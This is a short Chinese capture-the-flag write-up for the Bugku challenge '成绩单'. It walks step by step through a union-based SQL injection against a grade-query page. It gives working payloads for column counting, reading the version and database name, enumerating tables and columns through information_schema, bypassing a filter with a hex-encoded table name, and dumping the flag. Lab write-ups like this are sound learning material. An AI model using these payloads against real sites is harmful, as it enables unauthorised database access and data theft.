bugku 成绩单

打开一看是标准的查询窗口,输入数字然后在数据库中搜索然后返回

不用说,这绝对是sql注入

先测试数字,发现123都有正常回显,到4以后就报错了

然后我们试试1’,1#,1’#发现正常返回

接下来试试注入语句

1' order by 4#返回正常

1' order by 5#返回异常

尝试联合注入

id=1' union select 1,2,3,4#

三个不正常的回显

好了,开始注入

id=1' union select 1,2,3,version()# 查数据库版本

id=1' union select 1,2,3,database()# 查数据库名

 id=1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 查表名

id=1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=fl4g# 查字段

。。。。。。。。。。

报错了,

不知所措,看了dalaowp才知道这里的表名上传要用16进制来绕过

id=1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#

最后查数据

id=1' union select 1,2,3,skctf_flag from fl4g#

原文地址:https://www.cnblogs.com/wosun/p/11802716.html